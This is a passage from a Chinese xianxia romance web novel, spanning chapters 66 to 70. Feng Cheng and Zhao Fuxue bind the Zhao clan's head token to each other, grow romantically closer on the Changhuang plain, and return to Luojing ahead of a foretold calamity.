封澄倒是无所谓,她虽愿意在持劫的魔气中庇护这些无辜修士,可这些修士真打算对她动手的话,她不介意一个一个地全都杀了。 赵负雪却不这么想的——杀了这群修士容易,但手染鲜血的人又该如何自处? 想到这里,赵负雪骂了一句脏话。 听到这句脏话,封澄倏地瞪大了眼睛,极为意外,意外到了震惊的程度,可还未等她震惊完,一只骨节分明的手一把抓住了她的肩膀,封澄回头一看,竟是赵负雪带血的手。 他将人一把拉近,封澄甚至震撼于他还有这么大的力气,相贴的刹那,封澄几乎能感觉得到少年身上的热气与冷香。 “眼下我要做一件事情,”赵负雪不聚焦 的双目艰难地注视着她的双眼,“唯有如此,才得两全。” 两全?封澄没想明白——哪两全? 还未等封澄回答,赵负雪吸了一口气,又咳了两声,轻轻:“总归我是你的人了。” 他说什么? 封澄又没想明白,猛然间,赵负雪抬起她的手来,还未等封澄反应,便托着她流血的手指,郑重地印在了令牌上。 紧接着,割开了自己的手指,将血与封澄的血相融。 封澄心道一声不妙:“你在做什么?” 刹那间,家主令上骤然爆出骇人的白光——这道白光如此炫目,几乎将漆黑的巷子照得如同白昼。 刺目白光中,众人齐齐被这白光震出去,徒留封澄看着手心中的漆黑令牌,傻眼。 赵负雪郑重道: “家主令已经认主,诸位若要对赵氏家主做什么动作,且等赵氏雷霆之怒。” 死寂更甚,那被震飞出去的众修士难掩其震撼之色,几人沉默半晌,惊天尖声道:“……你做了什么——赵家竟然有你这样的家主?把赵家拱手送给一个未竟开化的天魔!” 赵氏家主之令多由二人所共持,比如说,在周寻芳之夫赵洄生前,家主令认两人,赵洄死后,家主便是周寻芳一人。 封澄不懂,可众人懂! 第一天机世家的少家主!把令牌上的印记,分给了一个天魔! 这其中意味不言而喻——杀了千百年魔族的、第一天机世家的少家主,要与一只天魔结秦晋之好! 这令人神魂颠倒的事实令在场的所有人都不约而同地怀疑起了自己的耳朵——或许此时此刻,更应该在梦里。 封澄终于后知后觉地反应过来——赵负雪似乎捣鼓了什么不得了的大事。 “什么拱手送天魔?”封澄刹那便想到了一种可能,心头不由得咯噔一声,心想,“这……太荒谬了。” 夜风冷冷,月色皎皎,赵负雪的白衣无风自动,即便是形容狼狈,可仍然笔直如松。 “如何,还要动手吗?” 这能动什么手!众人只想大骂——家主令的身份给了那天魔,动了她就是动了赵氏少家主,赵家像一群训练有素的疯狗,定会将他们撕得片甲不留,即便是人形天魔价值千金,也要有命花才行! 为首几个修士终于咬了牙,他们含恨盯着封赵二人,半晌,一挥手道:“我们会令这天下都知道,赵氏做了什么昏头之事!” 说着,倏地几道剑光,这群修士转头就走,转瞬便不见踪影了。 赵负雪一直盯着那些人远去,直到再也不见其踪影,才脱力地向后一倒,封澄猛地伸手去接——这双足以撕裂天魔背甲的爪子无比轻柔。 他仰面躺在封澄的怀中,露出了苍白的笑意,强行压着的鲜血终于开始涌出了出来:“这招,厉害吗?” 封澄手忙脚乱地为他擦去血,眼泪如同断了线的珠子一样砸在他脸上:“别说话了,你这傻子,我去寻医师——!” 她明明可以把所有人都杀个干净再闯出去的,赵负雪何苦撑这么久? 赵负雪抬起手来,轻轻地摸了摸她的脸。 “不哭了,”他艰难笑道,“哭得我心头疼,要怎么哄……” 封澄把脸埋进他的胸口,用力地摇了摇头。 赵负雪慢慢道:“杀人,怎么行,你手上不能沾血。” ——我要和你,堂堂正正地站在所有人前,接受天下人的祝祷。 天下之大,我不要你躲躲藏藏。 这句话并未出口,陷入黑沉意识前,他看到封澄血红的双眼被泪水洗得清澈无比。 两日后,洛京。 长煌大原的消息按理来说是传不了这么远的,可奈何这消息着实炸裂,即便是街头巷尾,仍让有人难掩八卦之色,竞相口口相传。 “听说了没有?赵公子要结亲啦!” “咱也听说了,小公子年少风流,冲冠一怒为红颜,你猜夫人是何物?” “嗐,连人都不是——是个魔。” “……可惜了,那可是赵公子,看上哪家姑娘不好,偏偏看上个不是人的。” 明明是深夜,赵府却是灯火通明,周寻芳轻轻捏着太阳穴,一把将手中信报敲在案上;“消息哪里传出来的?” 赵年不敢犹豫:“一伙儿长煌大原上来的散修,逢人便起誓,讲得街头巷尾风风雨雨。” 、 周寻芳冷笑两声:“好猖狂的东西!撒野撒到洛京来——寻几个人去,将人悄悄处理了,该抓的抓,该赶的赶,该杀的杀!” 思索片刻,周寻芳心头又有不解:“即便传,消息也不会是空穴来风,阿雪这小子才要了生死咒给那小血修,为何又和天魔扯上关系了?” 周寻芳后知后觉地发现,不知何时,这孙儿的行事作风远远超出了她的了解。 前几日还打算横刀夺爱,这几日又准备红杏出墙。 “去查,”周寻芳皱眉道,“若查出什么来,只管把阿雪拎回来跪祖坟。” 赵年苦笑一声,应声而去了。 “总觉得哪里不对,”她喃喃道,“有股格外熟悉的、离经叛道的味道。” *** 封澄费力地将赵负雪带回了客栈。 此地蛮荒,带着斗笠兜帽的人并不少,封澄拿赵负雪的衣物将头脸一盖,去买了两件兜帽长衫来,二人一路上未受到什么阻拦,她照着自己的经验去药铺里取了专治损耗的药物,再带着赵负雪回到客栈中。 去客栈上楼时,店小二也只是愣了愣,封澄将银子丢给他:“取个药炉来。” 小二捧着银子,登时喜得什么也顾不上了,他忙应了一声,飞快地去厨房取药炉,封澄转身,将赵负雪带入了房中。 二人身体的自愈能力都极强,不过这会儿,封澄已觉得好一些了,赵负雪是内伤,她伸手把人翻了翻,不见什么明显的外伤,只是面色仍然苍白。 他的衣襟与袖子上有血迹,封澄一见便皱眉,想了想,她决定动手为他除去。 赵负雪生平最为好洁,若要他穿着血衣去睡,指不定第二日要如何去死了。 偏生赵负雪此时躺着,脱衣不便,封澄也懒怠将人翻来翻去了,于是上手一撕—— “客官,您要的药炉来了!” 店小二献宝似的杀进来,谁料一抬眼,便是封澄坐在榻上,撕开了身旁之人的衣襟。 皮肉雪白,胸膛漂亮,是那种看着不显,却隐含巨大力量的美丽男体。 此时此刻,昏迷不醒。 他的笑容僵在脸上,缓缓地抬头看去,只见那兜帽女子盯着他,浑身黑气压爆发,咬牙切齿道:“……还不滚出去。” 店小二面带微笑地把药炉一放,随即一个翻滚出去,若无其事地带上了门。 第67章 第67章不是好人 那小二机灵,临走时还知道把门牢牢地扣上,紧接着封澄便听着他模糊不清的吩咐声:“这边贵客,无论如何也不要打扰,听到没有!” 封澄虽恼这无礼小二推门而入,这么一听竟有些哭笑不得,她摇摇头,继续动手撕赵负雪的衣物。 手还未褪回人型,即便再是小心,无意中也仍会刮到赵负雪的皮肉,昏迷不醒的人似有所觉,轻轻地唔了一声,封澄一顿,随即轻声道:“……手重了吗?” 赵负雪并无所觉,眉眼紧闭,封澄松了口气,继续轻手轻脚地除去他的衣物。 除尽上身,已无血迹,至于下身,封澄的手停了停,还是颇不自在地移开了视线。 ……不脱也罢。 她将血衣一丢,随即将被子给赵负雪身上盖好,便起身去点炉火,煎上药,她守着药,咕噜咕噜的声音,与窗外不知何时落下的秋雨混成难舍难分的一团。 药煮好后,封澄端来赵负雪榻边。 而怎么让赵负雪喝下这碗药,成了一个难题。 “这要怎么喝?”封澄拿着药匙往赵负雪唇边比划了比划,她试着往赵负雪口中塞药匙, 谁知他齿关紧闭,封澄眉毛皱成一团,一手执药匙,一手轻轻拍拍他的脸:“嘴,松一松,松一松。” 他浑然不觉,连眼睫都未有分毫颤抖。 捏开下巴似乎也行——封澄正要伸手,结果巨爪还没伸到赵负雪下巴上,倒先把她自己吓了一跳。 这一捏下去,赵负雪整个下巴该碎了。 这也不行那也不行,封澄叹了口气,将药匙丢进碗中,起身去拿斗篷——罢,吃药这条路是行不通了,直接叫个医师来施针把脉。 谁知斗篷刚刚披在身上,床上的赵负雪忽然又呜了一声,封澄一回身,却见他眉毛紧蹙,看起来万分难挨。 她又坐了回去,想了想,端起了药碗。 “实在难受的话——你要喝药吗?” 赵负雪又咳了两声。 封澄:“……” 她狐疑地看过去。 咳过那几声后,赵负雪又安静了,仿佛方才那几声不过是幻觉一样,他还是苍白安静地昏迷在榻上,只是眉宇间仍有清晰可见的痛苦之意。 思来想去,封澄心头一横。 “我又不能捏碎你的下巴,”她若有所思对着药碗道,“话本子里好像是有个可行的办法——虽然我一直觉得这个行为没有道理,但试试也不少块肉,对不对。” 她自说自话地劝了自己,然后,封澄小心翼翼地凑近,低声道:“你确实没有醒着吧?” 回答她的是一片安静,赵负雪没有咳了。 没有醒着。 端着药,犹豫了又犹豫,半晌,眼一闭,封澄的心狠狠地一横。 当年连偷吻那个大的都敢干,现在对上这个小的,还只不过是一片清白地喂药,岂有不敢的道理。 “得罪了。”封澄道。 她将漆黑的药汁含下,登时苦得眼都瞪大了,这药汁哪怕在她口中多一秒也不行,封澄毫不犹豫地贴近赵负雪,正要去撬开他的齿关,忽然便对上一双含笑的眼。 封澄含着药:“……???!!” 躺在床上昏迷不醒的赵负雪垂眸,不待她反应抽身,便猛地扣住了她的后脑,紧接着略微冰冷的唇便贴了过来,待封澄终于震撼地发觉现下发生了什么时,眼前的少年已将她的齿关撬开。 封澄震撼之中,一口便把药给吞了下去。 这一口苦药登时苦得她要升天了,也给封澄苦得清醒了,她抬手便要去推赵负雪,可一抬手又想到了赵负雪的伤势——这爪子一下去可还了得。 封澄又猛地缩回了手。 赵负雪眉间多了几分笑意,他也知封澄怕苦,所以浅尝辄止地退了出来,看着被吻得双眼直泛泪光的封澄,含笑道:“谁教你这么喂药的?” 此时封澄的怒意远大于其他任何情绪,甚至连赵负雪反客为主这件事都没脑子去想了,她怒瞪着他,猛猛擦嘴,几乎恨不得从嘴上擦下皮来:“你醒着?!你醒着还装成那副样子让人担心,我以为你要死了!” 赵负雪笑得呛起来,封澄又狠狠道:“笑什么——你什么时候醒的!” 他道:“也不是一直醒着,至于什么时候……大概是你撕我衣服那会儿。” 此时不说这个还好,一说这个,封澄的脸登时烧了起来,她结结巴巴道:“我是怕你好洁……你以为我不想脱吗…不是,我不是说我想脱,我是说我手重,没法给你脱……” 越说越结巴,尤其是赵负雪笑意盈盈地看着她时,封澄更结巴了,此时即便是没有情况,也被她结巴出情况来了。 终于结巴得自己都听不下去,封澄掩面,恨不得把自己挖个坑埋了。 在一旁的赵负雪早已将药碗端过来,随即一口喝了下去,仿佛觉不到苦味似的,封澄有点傻眼,正想问他是不是不觉得苦,忽然赤着上身的少年便猝然压近,飞羽似的啄了她一口,然后便若无其事地说:“有点苦,所以中和一下。” 唇上的柔软触觉和熟悉的冷香骤然冲得封澄说不出话来。 她抬起眼来,呆呆地看着赵负雪。 “很讨厌么?”赵负雪道。 封澄无意识地摇摇头。 赵负雪笑了,他的脸上还带着几分失血过多的苍白,他又凑过来,轻轻地啄了一下封澄,偏头道:“喜欢吗?” 封澄说不出话,说实话,此时此刻,山呼海啸的冲击感几乎把她全然淹没了。 她愣愣地摸了摸自己的唇。 赵负雪轻笑:“不说话,就当你很喜欢。” 倏地一声,封澄猛地站起来,脸颊赤红道:“我我我我我先走……!” 转身间,袖子被一只手拉住。 封澄回头一看,当场便走不动路了。 美人儿半倚在素色的榻上,脸上是那种熟悉的、经常出现在师尊面上的似笑非笑——封澄最怂这表情,总觉得下一秒赵负雪便要开始算账了,果然,他道:“都到这种地步了,你还躲什么?难道又想睡一觉醒来,装作什么都没发生过吗?” 封澄颤声,试图垂死挣扎:“你……和我都不冷静。” 赵负雪没想到都这种时候了,封澄还想一逃了之,他捏着封澄的衣角,沉默了。 “……你不喜欢我么。” 封澄不知道说什么,屋中沉默太过压抑,她沉默许久,也只干巴巴道:“……喜欢的。” 喜欢的。 赵负雪的眼睛抬起来,却更黯淡了些:“不要和我说这些,为什么不过来?” 他紧紧地看着她,不肯放过封澄的丝毫表情,他一把抓住封澄:“你亲口承认过了……” 封澄不知道如何回答他。 她说什么?说她其实是后世战亡的孤魂,是天下不齿的贰臣,是对他亮出利爪的逆徒? 说她瞒左瞒右,自欺欺人,仗着他一无所知,对他恣意欺瞒? 赵负雪不依不饶地追围堵截:“你很害怕,害怕什么?” 封澄沉默半晌,突然,伸手把外裳脱掉:“我不怕的。” 捏着她衣角的手迟迟未松开,封澄本以为赵负雪会过来,谁料脱了一件外裳,后面竟寂然无声,她向后看去,这一看,险些吓掉了魂。 赵负雪的眼圈儿通红,眼泪看着就要下来了。 封澄登时慌得不着神了,她忙走回去,赵负雪却将她松松垮垮的衣袖一丢,转头便抬手拉上了床帐,瓮声瓮气道:“你走。” 这种情况走得了就有鬼了,封澄走到榻边,手伸出去,犹豫片刻,又缩回来。 “你,你身体有伤,今天不行,要么明天?”封澄试探着道。 如若身体的亲密能安抚赵负雪,她也并不介意。 床帐里的人影依稀是个坐着的模样,看起来并没有不肯听的样子,封澄只恨自己刚才做事没数,竟把这高山净雪逗得要掉泪,她顿了顿,语无伦次道:“你若不喜欢这样就算了,那么这个喜欢么?” 说着,她小猫似的凑过来,在他的唇角烙下一个小心翼翼的吻。 床帐中的赵负雪险些被她气得闯出去。 脑子里还以为是这些! 生死咒都绑上了,来世许给她,赵家家主令锁上了,今生也非她不可了——可封澄却觉得他一时急色! 封澄见赵负雪气得发抖,只当她说动了,又接着语无伦次道:“你身上疼么——我怕你同我在一起,过得不好,我……” 她话音未落,床帐霎时一动,紧接着便是赵负雪拽住封澄的衣角,随着一阵天旋地转,封澄被他拉入了榻上。 一片黑暗中,只能听见少年带着薄怒的声音:“如果你回绝我的理由就是这些东西,那我便当作你没有回绝了。” 封澄一怔,熟悉的冷香气便重新压了过来,预感到要发生什么的封澄下意识地便要抬手推他,可一想到这巨爪的杀伤力,封澄的手又顿住了。 赵负雪目不转睛地看着她,一张脸在灯下神色不清。 紧接着,他毫不犹豫地吻了过来。 第68章 第68章倔得不太聪明 冷冷的香气绕在鼻尖,近得触手可得,唇上触感真真切切,绝不是方才那个玩笑般的苦吻能比拟的。 封澄慢慢地睁大了眼睛。 贴在面前的,是赵负雪紧紧闭着的双眼。 他吻得凶狠,急切而青涩,眼睫却剧烈地颤抖着。封澄这才发现,他不光眼睫抖,他几乎哪里都在抖。 天不怕地不怕的少年赵负雪,此时怕得发抖。 推在他 肩上的手慢慢地停住了。 “真是奇怪,”封澄心想,“明明是你在折腾人,怎么还怕成这个样子?” 赵负雪似乎不太敢亲人,唇畔贴着唇瓣,与其说是吻,不如说是翻来覆去的舔咬,仿佛是蹲在厨房前,急得直打转却不敢进去叼肉的小狗一样。 封澄一瞬间,脑中划过了很多事情。 心头的惊涛骇浪起起伏伏,最后尘埃落定时,只化作一句。 “罢了。” 漆黑一片的帐中只混着二人急促的呼吸声与濡湿的吻声,不知多久,见对面始终无反应,赵负雪忐忑无比,心中凉了一半,正要退开,谁料脑后被猛地一压,紧接着唇缝便被不容抗拒地舔开,熟悉无比的甜香像疯了一般涌入,刹那间,赵负雪的瞳孔骤然一缩,还未等反应,便反被按住,狠狠地压到了软铺上。 后背接触到微凉床榻时,赵负雪脑内一片空白。 她的鳞甲极为尖锐,吻却柔软至此。 不知是谁起的头,待二人分开时,唇角都沁了些血珠出来。 孤男寡女,深更半夜,如此行径,待那股上头的热气下去,封澄直起身来,低头看了看身下带着笑意的赵负雪,在意识到自己终于做了什么时,心头微微一裂。 他的墨发铺了半床,上身**,此时双目中含着水光,明明是被任意采撷了的模样,偏生笑得潋滟无比,简直显得那张俊脸不像凡人,赵负雪轻轻喘着气,托起封澄的手,虔诚道:“我在做梦么……” 封澄也很想说,这是做梦就好了。 “你不知道我有多高兴。”赵负雪含笑,眼睛亮亮的,“你心里有我,对不对?” 他仿佛把整颗的心都掏了出来,封澄看着他那双眼睛,心头那点道德感与卑劣感打来打去,硬是说不出一句硬话来,半晌,终于挫败道:“……我害了你。” 年轻时的赵负雪是个喜怒相当形于色的人,至少在封澄眼里时这样的,即便她躲闪,不肯回答也无妨,他照旧十分高兴,他贴上来,认真道:“现在是愿意同我一起了吗?” 把人折腾来折腾去,亲也亲了,压也压了,再翻脸不认,便实在可恶了。 封澄犹豫半晌,心里仅剩的那点儿良心逼迫她开口道:“……对不起。” 赵负雪凑上来,什么都听不进去了,他噙着笑意,竟有心开玩笑了:“对不起什么?即便你是水里的王八变的,也无并没有对不起什么人。” 封澄:“……” 他一定要和王八过不去吗? 赵负雪又补充道:“或者是山上的鸟,地上的草,你哪怕是屋顶的一片瓦……” 这都什么乱七八糟的,封澄额头青筋直跳,终于忍无可忍,一低头封住了他的唇。 这一吻突然,赵负雪当即露出了错愕的表情,封澄小心地收起利齿,心底前所未有地轻了起来。 她本以为,对赵负雪不伦情意,即便是燎原之火,也早已在经年岁月里,被她压成了一捧草灰,埋在了无人知晓的角落。 可面对这个一无所知的赵负雪时,封澄却品尝到了死灰复燃的滋味。 没有忠奸之别,没有背叛之仇,也没有师徒恩情的赵负雪。 只有一颗火星子似的心,捧在她面前,勃勃地跳动。 她后知后觉地发现,原来那火并未熄灭,反而在无人知晓的角落,越烧越厚重。 “骗来的时日,”封澄闭着眼睛,吻得心慌又莽撞,“过下去,会有报应吧?” 顾不上了。 即便是五雷轰顶的报应,也由他去吧。 赵负雪的五指霎时紧紧一蜷。 *** 二人打那夜后,便终于彻头彻尾地搅合在了一起。 说没变化,不可,说有变化,不多。 也就是并肩时靠得近了些,就寝时睡得近了一些,偶尔能讨得一点儿两人独处时的岁月静好,也是靠在一起,十指交扣,不言不语。 一切似乎尽在不言中,可一切又没那么名正言顺。 赵负雪心中总是有一处未曾填满。 封澄终究还是没接过生死咒的另一枚指环。 他将生死咒之事与她说得清楚,只隐瞒下已经单方面绑了生死咒这件事,封澄倚在他的身边,将那小小的指环举起来,看了又看,还是还给了他。 “我听老尊者说过,这是婚仪上用的东西,”她笑着看向远处,并不分给他半个视线,“怎么想得那么久?到时候若是要换人,岂不是麻烦。” 他气得牙痒又委屈,当即上去封她的嘴,吻得几乎破了皮。 可闹过一阵,松开后,封澄还是将指环放在他的手心处,随后一仰头,躺在他的膝头,闭眼假寐去了。 远远处有牧人的牛羊走过,秋日暖阳少见,长煌大原的秋日暖阳更少见,他背靠着高大的不知名树,膝上躺着心爱的姑娘,只好无奈地由她去了。 还有很多很多的时间,赵负雪一边抚摸着封澄柔软的发丝,一边暗暗地想,若用一辈子去的等,能等得到她松口,也是值得的。 只要人还在他身边,他的耐心便用不尽。 封澄一意向北而去,赵负雪便不离左右地随行,向北去的日子并不顺利,一是客栈慢慢地便不见了,二是逐渐见多了天魔的踪迹,旅途便有些凶险,所幸这在二人的面前都不是问题。一路走走停停,碰见过打家劫舍的匪徒,见过突然杀出来的天魔,也遇见过迁徙的村落,时候一久,赵负雪有些意外地发现,封澄简直是为长煌大原而生的人。 她熟知风草盖住的小路,知悉每处部落的位置,甚至还去端了几处天魔的窝点。 停留在某个村落时,赵负雪偶然间发现,她与此地的牧民融合得极为迅速,仿佛一滴水重归于海一样。 是夜,二人都喝了几口牧民的酒,封澄喝不得酒,只觉得头昏,赵负雪皱眉,带着她离席,不料没出去透几口气,便被封澄一把拽下,并肩躺在了安静处的草地里。 虽是已近深秋,草地里却还是有些不肯死去的虫鸣,夜间嘁嘁喳喳,轻轻地在帐周飘着。 赵负雪被她拽得好笑,仰面躺着,忽然偏了偏头,开口道:“分明是你把我拉下来的,怎么还躺得那么远?” 封澄醉眼迷蒙地瞄了他一眼,依言靠近了些。 前段时候,两人虽没名没份地搅合,可封澄心底多少还是存了几分泾渭分明的道理的。从师尊到情人的转变实在太过崩裂,即便她是众人口中的欺师灭祖之徒,也没这么快地全盘接受这身份转变。 二人之间,始终有一道善恶分明的、不可逾越的线。 赵负雪又好气又好笑:“中间还能再躺一个人……你躲什么,再靠近些。” 醉鬼封澄又犹豫了犹豫,赵负雪干脆一起身,拉过封澄的手,十指相扣地躺到了一起。 察觉到十指的紧扣后,封澄莫名寻摸到了一丝清醒,她怔怔看着二人的双手,不动了。 说实在的,赵负雪这种世家教出来的公子,贞操里套着三书六礼的人,这般没名没份的和她搅合,已然是极大的委屈。封澄甚至都不 敢想,若是被周寻芳得知了此事,先被扒皮的是赵负雪,还是她。 封澄闷闷道:“你前几日有话要问,为什么不说。” 平日里难寻她主动询问,看来此话也是憋在她心头几日了,今日借酒才说出来。 既然她问了,赵负雪也扣着她的手,点了点头,轻声道:“我只是好奇,你从前没和我说过你的故乡。” 、 闻言,封澄闭了闭眼睛。 她没打算瞒,可敏锐如赵负雪,还是比她想象中发现得还要早。 不知是不是这地儿的酒过于烈的缘故,封澄昏昏沉沉,痛快道: “我在这个村落里长到了十几岁,然后去了洛京。这里,大概往北三十里,就是我阿翁阿嬷住的地方。” 赵负雪闻言,先是一愣,紧接着猛地坐起来,心中一喜:“竟是如此?我明日去城中备份礼,立即前去拜访——” 封澄一手被赵负雪扣着,一手枕在脑后,懒洋洋地缓着醉意:“不必去了,今年他们还不在这里。” 还? 赵负雪敏锐地捕捉到这个字眼。 封澄把他慢慢地拉下来,重新躺回了草地上:“这个时候,他们大概还在中原哪个地方,一个做着木匠生意,一个做着裁缝,有年轻孝顺的儿子儿媳,还有个稚嫩懵懂的孙女——儿子想必长得颇为瘦弱,多半一副书生模样,干不得活。” 赵负雪心头微微一突。 明明是亲人,怎么听起来和未曾见过一样。 他认真道:“我命赵家人去寻。” 封澄笑道:“寻什么,有缘,杀也杀到脸上来,没缘分了,寻遍天下也寻不到的。” 莫名其妙的,赵负雪心中便直打突,他皱眉贴了贴封澄的额头:“好端端的说这么不吉利的话,不去寻,怎么会寻不到?” 封澄定定地看着他,一双桃花眼里醉意浮沉。 她道:“赵负雪,有没有人说过,你有时倔得不太聪明。” 第69章 第69章御剑去,越快越好 次日清晨,封澄昏昏沉沉地睁开了眼睛,耳边有些乱嚷,她扶着宿醉后昏沉的头坐起身来,心中道:“……这么疼,到底喝了多少。” 她坐起身来,想去倒碗水来,不料身边忽然有一只骨节分明的手倏地越过她,向床边取了一只陶碗来。 封澄瞳孔骤然一缩:“!” 那手的主人贴过来,随即凉凉的发丝便抚在她颈上,赵负雪非常熟稔地在她的耳边磨了磨,声音温温的:“昨夜说着说着便睡着了,我怕你夜间醉酒难受,便自作主张地过来——冒犯了。” 话虽这么说,可他眼下所做的事可不像是觉得自己冒犯。 封澄回身,愣愣地看着他。 少年垂眸,脸凑在她的肩上,单臂环过她,不知不觉间竟是一副隐隐的包围之态,他披着墨发,只着一身素白里衣,见封澄愣愣的,视线往下移,便轻轻笑了笑道:“你醉得厉害。” 冷香无孔不入地环着她,封澄向来知道自己酒后德行不太行,闻言,脸腾地一白,当即滚下榻去,磕磕绊绊道:“你……你,我,……我……” 赵负雪哑然一笑,依旧是那副颠倒众生的模样,他并未回答,而是道: “慌什么,连头发也摔乱了,来,我替你束发?” 说着,他起身便向下来,外头风冷,他略微笼了笼披在身上的外袍,封澄看在眼里,刹那间,便有些走神。 这么披着外袍、散着墨发的样子,简直与后世的师尊如出一辙。 赵负雪将木呆呆的封澄拉起来,按在妆台前,草原大帐没有铜镜,封澄乖乖坐着,披着长发,任赵负雪在脑后轻柔梳理,也不知道他能折腾出个什么模样,封澄隐隐约约间忽然想到:“师尊好像不会给人束发。” 封澄记得当年在赵负雪膝下修行时,也曾因侍女一时忙碌而求赵负雪束过发。 当时怎么着来着? 赵负雪看着她许久,才答应下来——然后给她扎了两个歪歪扭扭的双环髻,令她险些被姜徵一众笑掀了桌子。 思及旧事,封澄越发觉得不靠谱起来,身后的赵负雪也不知是梳还是摸,封澄被他摸得怪痒,不由得笑道:“你会给人梳发吗?” 赵负雪闻言,轻轻挑了挑眉,十指干脆利落地为她束起发:“我看起来像不会的样子吗?” 封澄:“……” 行,破案了,那个歪歪扭扭的双环髻就是那小心眼故意的。 赵负雪还不知自己随口一句话便给数年后的自己挖了个大坑,他摸着封澄梳好的发髻,若无其事道:“你阿翁阿嬷,我已派人去寻了。” 封澄:“?” 她一副见了鬼的表情——何出此言呐? 赵负雪看出她心中疑问,便不紧不慢道:“昨夜你醉酒,同我说过许多东西,讲到你的阿翁阿嬷,说你十分想念,我本意图去拜访,却听说是失散了,所以错过。” 原来如此,封澄也不知自己醉酒说了多少话,于是干脆利落道:“竟然如此?其实并非失散,只是我不愿去打扰——他们日子过得不好,少有的祥和时候,便是现在了,不必浪费人手。” 赵负雪微微一笑,封澄以为这话题便这么揭过去了,谁料赵负雪忽然便冷不丁道:“从前听你提起过师尊,按理说也该拜访一下的。” 陡然间,封澄的身体忽然就木住了。 赵负雪摸着她垂下的发,绕在指尖,他察觉到封澄霎时的僵硬,垂眸笑笑:“你我如此,总该去见见你的长辈,否则岂不是让姑娘家吃亏。” 他嘴上云淡风轻,实则心中如热醋煎熬,连捻着封澄发丝的手都急躁了些。 天知道他心底把这师尊二字颠来倒去锤了多狠。 封澄从未提起过,可赵负雪却是亲身经历过封澄认错人的,他心头如明镜,早知道封澄心底有人,还用情不浅——否则也不会不肯全然接纳他了。 前些日子的死缠烂打、装模作样,不过是横刀夺爱的诡计,果然,封澄的确松动许多。 可还不够。 赵负雪俯下身,在封澄的发顶印下一个吻。 ——远远不够。 如若有铜镜,封澄应当会看到身后赵负雪的表情。 他的目光死死地锁在封澄身上,其偏执与贪恋,几乎能将人生吞活剥了下去。 如若看到了,她应当不会像现在这样,仰起乖乖的脸,露出个无辜且无害的笑来,试图将此事蒙混过去。 “我师尊四处云游,常年抱病,还是别去见了罢——他老人家脾气不好,你不会喜欢的。” 赵负雪含笑,在封澄脸侧印下个吻,道一声哪有你这样的徒儿。 心下,赵负雪却暗暗发誓。 不管那师尊在封澄的心底扎了多深的根,他都要一步一步地,连血带肉地把他拔出去。 二人又在长煌大原逗留了一月有余,几日除魔,几日游赏,赵负雪越发顺杆往上爬,封澄已经对赵负雪出现在她寝帐里这件事见怪不怪了。 总归也没什么出格之事,不过是口舌间多了些忙碌,封澄便也由他去了。 压在封澄心头的,是另外一事。 不知是不是封澄的错觉,她觉得自从持劫溃逃后,天魔似乎越来越多了。 从前是一个两个地单独出没,只有夜间才会有率众袭人的情况,现下,即便是白日出门放牧,也会撞上数以百计的天魔之群。 且,平日难得一见的高级天魔,似乎也开始成群结队地出现。 “是出什么事了吗?”封澄心生不详,可几番深入极北打探,却并未窥得半分消息——甚至说入了极北的天魔都寻不到了。 这一日,封澄照旧负剑出门,忽然就打了个喷嚏。 赵负雪闻声而动,从身后披来一件外裳,照旧上来讨一个吻:“已经是初冬的时候了,往极北去,还穿这 么少。” 封澄正把衣服往身上穿,忽然一惊。 “初冬了?” 赵负雪见她眼睛瞪得圆溜溜,有些好笑,点了点头,又细心地将她的长发从兜帽中捋出来:“你我来长煌大原已经快两月了,可不是初冬时分了吗?” 封澄的心底便有些发沉。 初冬了。 赵负雪的劫,起于天征四年冬——快了。 腰间长生隐隐发烫,当日入梦之语仍在耳畔,封澄不由得想起梦中师尊的温和劝慰。 “不必强求,因果,不可违。” 封澄的牙咯地一咬,心知长煌大原是不能呆了,若是赵负雪在这种天魔到处跑的地方起劫,那即便是有一条全须全尾的活路,也必然被闻乱而来得天魔堵死了,当机立断,封澄抬眼看着他,郑重道:“赵公子,我们回洛京吧。” 她不确定靠着自己的力量能不能阻止大劫降临到赵负雪的身上,可若是加上周寻芳的助力,事情说不定更加顺利一些。 赵负雪神色微怔,疑惑道:“回洛京?” 封澄坚定地点了点头:“出来这么久,祖母该担心了。” 赵负雪的脸上闪过一丝略微不自在的神色:“……祖母前些日子派人来过一趟,叫我们回去。” 封澄猛地瞪大了眼:“什么时候的事?!” 赵负雪摸了摸鼻子:“刚来长煌不久——她听说我把家主令认主了,特意来看看情况。” 封澄又是一惊,心道什么认主:“老尊者可说了些什么?” 能说什么,赵负雪颇有些目移,不过是听信了那几个散修的传言,以为他私行有碍,他心中只觉得好笑,不过将赵年带去远远地看了一眼封澄,便解决了。 赵年一言难尽地看着他:“封姑娘何时又成天魔了?” 赵负雪面色不改道:“以讹传讹,不可尽信。” 赵年只觉得,不可尽信的大概只有赵负雪一人。 她遥遥地看着封澄的背影。 少穿着一身乱七八糟、叮当作响的衣服,和人热热绕绕地摔跤打架,赢了便欢呼着叫成一团,火光映得人热烈无比,仿佛随时要烧起来一样。 她本欲出口的话在舌尖绕了绕,半晌,还是叹了口气。 赵负雪从前冷情,老尊者曾担忧他冷清,早晚要把自己冷清出个病来。 现下则不用了,一碰上封澄,他简直像个不太正常的活人了。 话到口边,赵年只道:“哪日姑娘愿意了,便请回家去,莫要唐突了人家。” 封澄听后,人傻了,赵负雪笑着吻她:“我只怕你不肯,说了招烦,若是当场要与我划清界线,连帐也不让进,我该上哪哭去?” 门外恰有几个牧民经过,撞见二人亲昵,只见怪不怪地哄笑几声。 心头忽然便一痛。 她后知后觉地发现,在长煌大原信马由缰的这段日子,简直像一场过分残忍的幻梦。 赵负雪与她,什么也不用顾及,晨起黏成一团,夜间黏成一团,如同所有俗世中的爱侣一般。 偷来的日子,果然是有报应的。 封澄心头钝痛,还是抬头,定定地望着赵负雪的双眼道:“回洛京吧,是时候了。” 赵负雪不觉有他,他甚至满心满眼都是封澄主动要去赵家的欣喜,赵负雪道:“照例,还是车马?” 修行之人御剑极耗灵力,寻常若无急事,不会有人御剑走长途的。 封澄摇头道:“御剑去,越快越好。” 第70章 第70章合该阿雪遭的 洛京依旧繁华入目,前些日子落了初雪——那可真是洋洋洒洒一场大雪,把洛京官道塞了个结结实实,封赵二人入京城时,还有天机师在路上忙碌着化去积雪。 天气冷,人却不冷,封澄被赵负雪包得严严实实,几乎成了个圆乎乎的包子,赵负雪似乎忘了她也是修行有成的修士,低头关切问道:“手冷吗?替你暖暖。” 封澄想了想,乖乖把手放进了他的手心。 少年登时笑得十分熨帖。 一路劳顿,封澄自觉是外客,按理来说该梳洗休憩、恢复一下精神再去赵家。可看着这未尽的积雪,封澄心中便涌起一波一波的心焦,于是连衣服也没换一件,落脚客栈的当夜便偷偷翻进了赵府的禁地中。 